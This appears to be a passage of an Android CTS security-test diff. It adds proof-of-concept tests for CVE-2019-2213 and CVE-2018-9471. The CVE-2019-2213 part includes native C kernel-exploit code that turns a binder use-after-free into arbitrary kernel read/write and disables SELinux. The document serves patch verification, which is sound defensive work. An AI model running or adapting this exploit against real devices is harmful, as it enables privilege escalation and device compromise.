+ signal_xpl_threads();
+ if (!uaf_alloc_success)
+ fail("inode_info uaf alloc fail - this may sometimes happen, "
+ "kernel may crash after you close the app");
+}
+
+void set_all_bits() {
+ for (int i = 0x1ff; i >= 3; i--)
+ if (dup2(1, i) < 0)
+ fail("dup2 fail, fd=%d", i);
+}
+
+void winfo32_lo(int addr, u32 dat) {
+ int startbit = addr ? 0 : 3;
+ addr *= 8;
+ for (int i = startbit; i < 32; i++) {
+ int fd = addr + i;
+ if (dat & (1ul << i)) {
+ if (dup2(1, fd) < 0)
+ fail("winfo dup2 fail, fd=%d", fd);
+ } else {
+ if (close(fd) < 0 && errno != EBADF)
+ fail("winfo close fail, fd=%d", fd);
+ }
+ }
+}
+
+void winfo32_hi(int addr, u32 dat) {
+ addr *= 8;
+ for (int i = 0; i < 32; i++) {
+ u32 bit = dat & (1u << i);
+ int fd = addr + i;
+ if (fcntl(fd, F_SETFD, bit ? FD_CLOEXEC : 0) < 0) {
+ if (errno != EBADF || bit)
+ fail("winfo fcntl fail fd=%d", fd);
+ }
+ }
+}
+
+void winfo32(int addr, u32 dat) {
+ if (addr < 0x40)
+ winfo32_lo(addr, dat);
+ else
+ winfo32_hi(addr - 0x40, dat);
+}
+
+void winfo64(int addr, u64 dat) {
+ winfo32(addr, dat);
+ winfo32(addr + 4, dat >> 32);
+}
+
+u64 rinfo64(int addr) {
+ addr *= 8;
+ u64 ret = 0;
+ for (int i = 0; i < 64; i++) {
+ int fd = addr + i;
+ fd_set set;
+ FD_ZERO(&set);
+ FD_SET(fd, &set);
+ struct timeval timeout;
+ timeout.tv_sec = 0;
+ timeout.tv_usec = 0;
+ if (select(fd + 1, &set, NULL, NULL, &timeout) >= 0)
+ ret |= 1ul << i;
+ else if (errno != EBADF)
+ fail("leak select fail");
+ }
+ return ret;
+}
+
+int files_off = 0x30;
+int file_off = 0x48;
+int fdt_off = 0x58;
+int fmode_off = 0x78;
+int faoff = 0x10;
+
+void set_pipe_mutex_count(u32 count) {
+ winfo32(0, count);
+}
+
+void set_pipe_nrbufs(u32 nrbufs) {
+ winfo32(0x40, nrbufs);
+}
+
+void set_pipe_curbuf(u32 curbuf) {
+ winfo32(0x44, curbuf);
+}
+
+void set_pipe_buffers(u32 buffers) {
+ winfo32(0x48, buffers);
+}
+
+void set_pipe_readers(u32 readers) {
+ winfo32(0x4c, readers);
+}
+
+void set_pipe_fasync_readers(u64 fasync_readers) {
+ winfo64(0x70, fasync_readers);
+}
+
+void set_pipe_wait_next(u64 next) {
+ winfo64(0x30, next);
+}
+
+u64 get_pipe_wait_next() {
+ return rinfo64(0x30);
+}
+
+void set_fa_magic(u32 magic) {
+ winfo32(faoff + 4, magic);
+}
+
+void set_fa_next(u64 next) {
+ winfo64(faoff + 0x10, next);
+}
+
+void set_fa_file(u64 file) {
+ winfo64(faoff + 0x18, file);
+}
+
+u64 get_mutex_owner() {
+ return rinfo64(0x18);
+}
+
+void set_files_count(int count) {
+ winfo32(files_off, count);
+}
+
+void set_files_fdt(u64 fdt) {
+ winfo64(files_off + 0x20, fdt);
+}
+
+void set_fdt_max_fds(u32 max_fds) {
+ winfo32(fdt_off, max_fds);
+}
+
+void set_fdt_fdarr(u64 fdarr) {
+ winfo64(fdt_off + 8, fdarr);
+}
+
+void set_fdt_close_on_exec(u64 close_on_exec) {
+ winfo64(fdt_off + 0x10, close_on_exec);
+}
+
+void set_file_fmode(u32 fmode) {
+ winfo32(fmode_off, fmode);
+}
+
+void set_file(u64 file) {
+ winfo64(file_off, file);
+}
+
+void stage2();
+
+void stage2_thread(u64 cpu) {
+ sync_t *sync = cpu == cpu1 ? stage2_sync1 : stage2_sync2;
+ sync_wait(sync);
+ do_set_cpu(cpu);
+ sync_done(sync);
+
+ sync_wait(sync);
+ if (dup2(1, 0x1ff) < 0) {
+ fail("dup2 fail");
+ return;
+ }
+ sync_done(sync);
+
+ sync_wait(sync);
+ set_all_bits();
+ sync_done(sync);
+
+ sync_wait(sync);
+ u64 wait_list = get_pipe_wait_next();
+ int ok = wait_list != -1l;
+ if (ok) {
+ uaf_alloc_success = 1;
+ pipe_inode_info = wait_list - 0x30;
+ dbg("pipe_inode_info=%016zx", pipe_inode_info);
+ }
+ sync_done(sync);
+ if (ok)
+ stage2();
+}
+
+void write_pipe_ptr_to(u64 addr) {
+ set_pipe_wait_next(addr - 8);
+ do_poll(0, 50);
+}
+
+void overwrite_pipe_bufs() {
+ write_pipe_ptr_to(pipe_inode_info + 0x80);
+}
+
+void leak_task_ptr() {
+ set_pipe_mutex_count(0x7);
+ set_pipe_wait_next(pipe_inode_info + 0x30);
+ u64 faptr = pipe_inode_info + faoff;
+ set_pipe_fasync_readers(faptr);
+ set_pipe_nrbufs(3);
+ set_pipe_curbuf(0);
+ set_pipe_buffers(4);
+ set_pipe_readers(1);
+ set_fa_magic(0x4601);
+ set_fa_next(faptr);
+ set_fa_file(0xfffffffful); // overlaps with inode_info.wait.lock
+ sync_signal(rw_thread_sync);
+ // wait for rw thread to write mutex owner
+ usleep(100000);
+ rw_task = get_mutex_owner();
+ dbg("rw_task=%016zx", rw_task);
+ // unblock rw thread
+ set_fa_magic(0);
+ if (syscall(SYS_tkill, rw_thread_tid, SIGUSR2) < 0)
+ fail("tkill fail");
+ dbg("signaled rw_thread");
+ sync_wait_done(rw_thread_sync);
+ // wait until klogd has logged the bad magic number error
+ sleep(1);
+}
+
+void overwrite_task_files(u64 task) {
+ write_pipe_ptr_to(task + 0x7c0);
+}
+
+void sigfunc(int a) {
+}
+
+enum {cmd_read, cmd_write, cmd_exit};
+
+void handle_sig() {
+ struct sigaction sa;
+ memset(&sa, 0x00, sizeof(sa));
+ sa.sa_handler = sigfunc;
+ if (sigaction(SIGUSR2, &sa, NULL) < 0)
+ fail("sigaction fail");
+}
+
+void rw_thread(u64 idx) {
+ handle_sig();
+ sync_wait(rw_thread_sync);
+ void *dat = malloc(0x2000);
+ dbg("starting blocked write");
+ if (write(uaf_pipe, dat, 0x2000) != 0x1000) {
+ fail("expected blocking write=0x1000");
+ return;
+ }
+ dbg("write unblocked");
+ sync_done(rw_thread_sync);
+ int done = 0;
+ while (!done) {
+ sync_wait(rw_thread_sync);
+ if (rw_cmd == cmd_read) {
+ int bits = fcntl(rw_bit, F_GETFD);
+ if (bits < 0) {
+ fail("F_GETFD fail");
+ return;
+ }
+ rw_val = !!(bits & FD_CLOEXEC);
+ } else if (rw_cmd == cmd_write) {
+ if (fcntl(rw_bit, F_SETFD, rw_val ? FD_CLOEXEC : 0) < 0) {
+ fail("F_SETFD fail");
+ return;
+ }
+ } else {
+ done = 1;
+ }
+ sync_done(rw_thread_sync);
+ }
+}
+
+void set_fdarr(int bit) {
+ set_fdt_fdarr(pipe_inode_info + file_off - bit * 8);
+}
+
+u8 r8(u64 addr) {
+ u8 val = 0;
+ set_fdt_close_on_exec(addr);
+ for (int bit = 0; bit < 8; bit++) {
+ set_fdarr(bit);
+ rw_bit = bit;
+ rw_cmd = cmd_read;
+ sync_signal(rw_thread_sync);
+ sync_wait_done(rw_thread_sync);
+ val |= rw_val << bit;
+ }
+ return val;
+}
+
+void w8(u64 addr, u8 val) {
+ set_fdt_close_on_exec(addr);
+ for (int bit = 0; bit < 8; bit++) {
+ set_fdarr(bit);
+ rw_bit = bit;
+ rw_val = val & (1 << bit);
+ rw_cmd = cmd_write;
+ sync_signal(rw_thread_sync);
+ sync_wait_done(rw_thread_sync);
+ }
+}
+
+void exit_rw_thread() {
+ rw_cmd = cmd_exit;
+ sync_signal(rw_thread_sync);
+ sync_wait_done(rw_thread_sync);
+}
+
+void w16(u64 addr, u16 val) {
+ w8(addr, val);
+ w8(addr + 1, val >> 8);
+}
+
+void w32(u64 addr, u32 val) {
+ w16(addr, val);
+ w16(addr + 2, val >> 16);
+}
+
+void w64(u64 addr, u64 val) {
+ w32(addr, val);
+ w32(addr + 4, val >> 32);
+}
+
+u16 r16(u64 addr) {
+ return r8(addr) | (r8(addr + 1) << 8);
+}
+
+u32 r32(u64 addr) {
+ return r16(addr) | (r16(addr + 2) << 16);
+}
+
+u64 r64(u64 addr) {
+ return r32(addr) | (u64)r32(addr + 4) << 32;
+}
+
+#define magic 0x55565758595a5b5cul
+
+void set_up_arbitrary_rw() {
+ overwrite_task_files(rw_task);
+ set_all_bits();
+ set_files_count(1);
+ set_files_fdt(pipe_inode_info + fdt_off);
+ set_fdt_max_fds(8);
+ set_file(pipe_inode_info + fmode_off - 0x44);
+ set_file_fmode(0);
+ u64 magic_addr = scratch;
+ w64(magic_addr, magic);
+ if (r64(magic_addr) != magic)
+ fail("rw test fail");
+ dbg("got arbitrary rw");
+}
+
+u64 get_current() {
+ int our_tid = gettid();
+ u64 leader = r64(rw_task + 0x610);
+ u64 task = leader;
+
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ int tid = r32(task + 0x5d0);
+ if (tid == our_tid)
+ return task;
+ task = r64(task + 0x680) - 0x680;
+ if (task == leader)
+ break;
+ }
+ fail("current not found");
+ return (u64)-1;
+}
+
+void get_fdarr() {
+ current = get_current();
+ if (current == (u64)-1) {
+ return;
+ }
+ dbg("current=%016zx", current);
+ u64 files = r64(current + 0x7c0);
+ u64 fdt = r64(files + 0x20);
+ fdarr = r64(fdt + 8);
+}
+
+void place_bnd_buf(u64 v1, u64 v2, txn_t *t) {
+ txn_t t2;
+ int do_free = !t;
+ if (!t)
+ t = &t2;
+ buf_t *dat = new_buf();
+ buf_u64(dat, v1);
+ buf_u64(dat, v2);
+ send_txn(2, to1, 0, dat, NULL);
+ recv_txn(1, t);
+ if (do_free)
+ free_txn(t);
+ send_reply(1);
+ recv_txn(2, &t2);
+ free_txn(&t2);
+}
+
+void w128(u64 addr, u64 v1, u64 v2) {
+ w64(free_data, addr);
+ w64(next_free_data, addr + 0x10);
+ place_bnd_buf(v1, v2, NULL);
+}
+
+void set_up_w128() {
+ u64 bnd = get_file(1);
+ u64 proc = r64(bnd + 0xd0);
+ u64 alloc = proc + 0x1c0;
+ enter_looper(1);
+ txn_t t1, t2;
+ place_bnd_buf(0, 0, &t1);
+ place_bnd_buf(0, 0, &t2);
+ free_txn(&t1);
+ u64 free_buffer = r64(alloc + 0x48);
+ u64 next = r64(free_buffer);
+ w64(alloc + 0x38, 0);
+ w64(alloc + 0x78, ~0ul);
+ free_data = free_buffer + 0x58;
+ next_free_data = next + 0x58;
+ u64 magic_addr = scratch + 8;
+ w128(magic_addr, magic, magic);
+ if (r64(magic_addr) != magic || r64(magic_addr + 8) != magic)
+ fail("w128 test fail");
+ dbg("got w128");
+}
+
+void clean_up() {
+ w64(fdarr, 0);
+ set_files_count(2);
+ exit_rw_thread();
+}
+
+void exploit() {
+ set_thread_name("txnuaf");
+ select_cpus();
+ set_cpu(cpu1);
+ set_timerslack();
+ launch_threads();
+ open_binders();
+ race_cycle();
+ reopen_pipe();
+ launch_stage2_threads();
+ free_pipe_alloc_fdmem();
+ find_pipe_slot_thread();
+}
+
+void stage2() {
+ scratch = pipe_inode_info + 0xb8;
+ overwrite_pipe_bufs();
+ leak_task_ptr();
+ set_up_arbitrary_rw();
+ get_fdarr();
+ set_up_w128();
+ winfo32(0, 0x7);
+ disable_selinux();
+ clean_up();
+}
+
+JNIEXPORT void JNICALL
+Java_android_security_cts_ExploitThread_runxpl(JNIEnv *e, jobject t, jstring jpipedir) {
+ this = (*e)->NewGlobalRef(e, t);
+ add_jenv(e);
+ (*e)->GetJavaVM(e, &jvm);
+ jclass cls = (*e)->GetObjectClass(e, this);
+ add_log = (*e)->GetMethodID(e, cls, "addLog", "(Ljava/lang/String;)V");
+ pipedir = (*e)->GetStringUTFChars(e, jpipedir, NULL);
+ exploit();
+ (*e)->ReleaseStringUTFChars(e, jpipedir, pipedir);
+}
diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
deleted file mode 100644
index 67e87a1..0000000
--- a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin
deleted file mode 100644
index d33cb3f..0000000
--- a/tests/tests/security/res/raw/sig_com_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
deleted file mode 100644
index 8c663d4..0000000
--- a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin
deleted file mode 100644
index cae337e..0000000
--- a/tests/tests/security/res/raw/sig_com_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
deleted file mode 100644
index 8248649..0000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
deleted file mode 100644
index 55640d7..0000000
--- a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
deleted file mode 100644
index f4339e6..0000000
--- a/tests/tests/security/res/raw/sig_com_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
deleted file mode 100644
index e27820f..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin
deleted file mode 100644
index 1259311..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
deleted file mode 100644
index 0e72db7..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
deleted file mode 100644
index f5de871..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
deleted file mode 100644
index e28c489..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
deleted file mode 100644
index 96c192c..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
deleted file mode 100644
index abcc35f..0000000
--- a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/xml/authenticator.xml b/tests/tests/security/res/xml/authenticator.xml
new file mode 100644
index 0000000..9096201
--- /dev/null
+++ b/tests/tests/security/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="android.security.cts"
+ android:label="AuthenticatorTest" />
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
new file mode 100644
index 0000000..abb0370
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.system.Os;
+import android.os.Looper;
+import android.os.Message;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.hardware.display.VirtualDisplay;
+
+import java.io.IOException;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import android.platform.test.annotations.SecurityTest;
+
+import java.util.ArrayList;
+import android.util.Log;
+
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.system.ErrnoException;
+import android.widget.TextView;
+
+import java.io.File;
+import java.util.List;
+
+class Exchange extends IBinderExchange.Stub {
+ IBinder binder;
+ BinderExploitTest.CVE_2019_2213_Activity xpl;
+ Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) {
+ this.xpl = xpl;
+ }
+ @Override
+ public void putBinder(IBinder bnd) {
+ this.xpl.addLog("put binder");
+ binder = bnd;
+ }
+ @Override
+ public IBinder getBinder() {
+ this.xpl.addLog("get binder");
+ return binder;
+ }
+}
+
+class ExploitThread extends Thread {
+ static {
+ System.loadLibrary("cve_2019_2213_jni");
+ }
+ BinderExploitTest.CVE_2019_2213_Activity xpl;
+ String pipedir;
+
+ ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) {
+ this.xpl = xpl;
+ this.pipedir = pipedir;
+ }
+
+ public void run() {
+ runxpl(pipedir);
+ }
+
+ void addLog(String msg) {
+ xpl.addLog(msg);
+ }
+
+ public native void runxpl(String pipedir);
+}
+
+@SecurityTest
+public class BinderExploitTest extends AndroidTestCase {
+
+ static final String TAG = BinderExploitTest.class.getSimpleName();
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+ public CVE_2019_2213_Activity mActivity;
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ /**
+ * b/141496757
+ */
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void testPoc_cve_2019_2213() throws Exception {
+ Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
+
+ // set timeout to 5 minutes
+ int timeout = 60;
+
+ // run test activity
+ launchActivity(CVE_2019_2213_Activity.class);
+ // main loop to check forked processs bahaviors
+ while (timeout-- > 0) {
+ SystemClock.sleep(1000);
+ }
+ Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished."));
+ }
+
+ public static class CVE_2019_2213_Activity extends Activity {
+ ActivityManager actmgr;
+ String log = "";
+
+ synchronized void addLog(String msg) {
+ Log.i("txnuaf", msg);
+ log += msg + "\n";
+ Log.i(TAG, log);
+ }
+
+ ActivityManager.AppTask getAppTask() {
+ List<ActivityManager.AppTask> list = actmgr.getAppTasks();
+ for (int i = 0; i < list.size(); i++) {
+ ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo();
+ if (info.baseIntent.getExtras() != null)
+ return list.get(i);
+ }
+ return null;
+ }
+
+ void setUpBundle() throws Exception {
+ actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
+ ActivityManager.AppTask t = getAppTask();
+ if (t != null)
+ t.finishAndRemoveTask();
+ Intent in = new Intent(this, CVE_2019_2213_Activity.class);
+ Bundle extras = new Bundle();
+ extras.putBinder("bnd", new Exchange(this));
+ in.putExtras(extras);
+ in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8);
+ if (actmgr.addAppTask(this, in, null, bmp) == -1)
+ throw new Exception("addAppTask failed");
+ t = getAppTask();
+ if (t == null)
+ throw new Exception("no appTask with extras");
+ Bundle b = t.getTaskInfo().baseIntent.getExtras();
+ if (!b.containsKey("bnd"))
+ throw new Exception("no bnd key");
+ addLog("apptask added");
+ }
+
+ public String makePipes() throws ErrnoException {
+ File dir = getDir("xpldat", 0);
+ for (int i = 0; i < 8; i++) {
+ File fifo = new File(dir, "p" + i);
+ if (fifo.exists())
+ fifo.delete();
+ Os.mkfifo(fifo.getPath(), 0600);
+ }
+ return dir.getPath();
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ try {
+ setUpBundle();
+ (new ExploitThread(this, makePipes())).start();
+ } catch (Exception e) {
+ addLog(e.toString());
+ }
+ }
+ }
+
+
+}
diff --git a/tests/tests/security/src/android/security/cts/IBinderExchange.java b/tests/tests/security/src/android/security/cts/IBinderExchange.java
new file mode 100644
index 0000000..765baac
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/IBinderExchange.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * This file is auto-generated in Android Studio for BinderExploitTest. DO NOT MODIFY.
+ */
+package android.security.cts;
+
+public interface IBinderExchange extends android.os.IInterface {
+ /** Local-side IPC implementation stub class. */
+ public static abstract class Stub extends android.os.Binder
+ implements android.security.cts.IBinderExchange {
+ private static final java.lang.String DESCRIPTOR = "android.security.cts.IBinderExchange";
+
+ /** Construct the stub at attach it to the interface. */
+ public Stub() {
+ this.attachInterface(this, DESCRIPTOR);
+ }
+
+ /**
+ * Cast an IBinder object into an android.security.cts.IBinderExchange
+ * interface, generating a proxy if needed.
+ */
+ public static android.security.cts.IBinderExchange asInterface(android.os.IBinder obj) {
+ if ((obj == null)) {
+ return null;
+ }
+ android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
+ if (((iin != null) && (iin instanceof android.security.cts.IBinderExchange))) {
+ return ((android.security.cts.IBinderExchange) iin);
+ }
+ return new android.security.cts.IBinderExchange.Stub.Proxy(obj);
+ }
+
+ @Override
+ public android.os.IBinder asBinder() {
+ return this;
+ }
+
+ @Override
+ public boolean onTransact(
+ int code, android.os.Parcel data, android.os.Parcel reply, int flags)
+ throws android.os.RemoteException {
+ java.lang.String descriptor = DESCRIPTOR;
+ switch (code) {
+ case INTERFACE_TRANSACTION: {
+ reply.writeString(descriptor);
+ return true;
+ }
+ case TRANSACTION_putBinder: {
+ data.enforceInterface(descriptor);
+ android.os.IBinder _arg0;
+ _arg0 = data.readStrongBinder();
+ this.putBinder(_arg0);
+ reply.writeNoException();
+ return true;
+ }
+ case TRANSACTION_getBinder: {
+ data.enforceInterface(descriptor);
+ android.os.IBinder _result = this.getBinder();
+ reply.writeNoException();
+ reply.writeStrongBinder(_result);
+ return true;
+ }
+ default: {
+ return super.onTransact(code, data, reply, flags);
+ }
+ }
+ }
+
+ private static class Proxy implements android.security.cts.IBinderExchange {
+ private android.os.IBinder mRemote;
+
+ Proxy(android.os.IBinder remote) {
+ mRemote = remote;
+ }
+
+ @Override
+ public android.os.IBinder asBinder() {
+ return mRemote;
+ }
+
+ public java.lang.String getInterfaceDescriptor() {
+ return DESCRIPTOR;
+ }
+
+ @Override
+ public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException {
+ android.os.Parcel _data = android.os.Parcel.obtain();
+ android.os.Parcel _reply = android.os.Parcel.obtain();
+ try {
+ _data.writeInterfaceToken(DESCRIPTOR);
+ _data.writeStrongBinder(bnd);
+ mRemote.transact(Stub.TRANSACTION_putBinder, _data, _reply, 0);
+ _reply.readException();
+ } finally {
+ _reply.recycle();
+ _data.recycle();
+ }
+ }
+
+ @Override
+ public android.os.IBinder getBinder() throws android.os.RemoteException {
+ android.os.Parcel _data = android.os.Parcel.obtain();
+ android.os.Parcel _reply = android.os.Parcel.obtain();
+ android.os.IBinder _result;
+ try {
+ _data.writeInterfaceToken(DESCRIPTOR);
+ mRemote.transact(Stub.TRANSACTION_getBinder, _data, _reply, 0);
+ _reply.readException();
+ _result = _reply.readStrongBinder();
+ } finally {
+ _reply.recycle();
+ _data.recycle();
+ }
+ return _result;
+ }
+ }
+
+ static final int TRANSACTION_putBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
+ static final int TRANSACTION_getBinder = (android.os.IBinder.FIRST_CALL_TRANSACTION + 1);
+ }
+
+ public void putBinder(android.os.IBinder bnd) throws android.os.RemoteException;
+
+ public android.os.IBinder getBinder() throws android.os.RemoteException;
+}
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
new file mode 100644
index 0000000..4f7dffc
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -0,0 +1,359 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.InstrumentationRegistry;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+
+import android.provider.Settings;
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.SystemClock;
+
+import android.util.Log;
+import android.annotation.Nullable;
+import static java.lang.Thread.sleep;
+import static org.junit.Assert.assertTrue;
+
+@SecurityTest
+public class NanoAppBundleTest extends AndroidTestCase {
+
+ private static final String TAG = "NanoAppBundleTest";
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+ private ServiceConnection mServiceConnection =
+ new ServiceConnection() {
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder binder) {
+ Log.i(TAG, "Authenticator service " + name + " is connected");
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ Log.i(TAG, "Authenticator service " + name + "died abruptly");
+ }
+ };
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+ mContext.startService(serviceIntent);
+ mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mContext != null) {
+ Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+ mContext.stopService(serviceIntent);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * b/113527124
+ */
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPoc_cve_2018_9471() throws Exception {
+
+ try {
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ new NanoAppBundleTest.Trigger(mContext).anyAction();
+ // against vulnerable bits, the failure will get caught right after trigger.
+ // against patched bits, 1 minute wait to snap the test
+ Thread.sleep(60_000);
+ } catch(InterruptedException ignored) {
+ Log.i(TAG, "swallow interrupted exception");
+ }
+ }
+
+ public static class Trigger {
+ private static final String TAG = "Trigger";
+ private Context mContext;
+
+ public Trigger(Context context) {
+ mContext = context;
+ }
+
+ private void trigger() {
+ Log.i(TAG, "start...");
+
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "com.android.settings",
+ "com.android.settings.accounts.AddAccountSettings"));
+ intent.setAction(Intent.ACTION_RUN);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String authTypes[] = { SECURITY_CTS_PACKAGE_NAME };
+ intent.putExtra("account_types", authTypes);
+
+ mContext.startActivity(intent);
+
+ Log.i(TAG, "finsihed.");
+ }
+
+ public void anyAction() {
